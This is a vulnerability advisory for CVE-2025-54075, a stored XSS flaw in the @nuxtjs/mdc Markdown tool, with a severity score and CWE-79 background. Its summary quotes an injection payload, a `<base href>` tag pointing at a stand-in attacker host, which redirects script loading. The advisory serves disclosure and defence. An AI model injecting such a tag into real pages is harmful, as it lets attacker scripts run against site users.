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Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVE-2025-54075

High
8.3/10

Summary

MDC is a tool to take regular Markdown and write documents, interacting deeply with a Vue component. In versions prior to 0.17.2, a remote script-inclusion / stored Cross-Site Scripting (XSS) vulnerability in @nuxtjs/mdc lets a Markdown author inject a `<base href="https://attacker.tld">` element. The `<base>` tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site's context.

  • LOW
  • NETWORK
  • LOW
  • CHANGED
  • NONE
  • NONE
  • LOW
  • LOW

CWE-79 - Cross Site Scripting

Cross-Site Scripting, commonly referred to as XSS, is the most dominant class of vulnerabilities. It allows an attacker to inject malicious code into a pregnable web application and victimize its users. The exploitation of such a weakness can cause severe issues such as account takeover, and sensitive data exfiltration. Because of the prevalence of XSS vulnerabilities and their high rate of exploitation, it has remained in the OWASP top 10 vulnerabilities for years.

References

Advisory Timeline

  • Published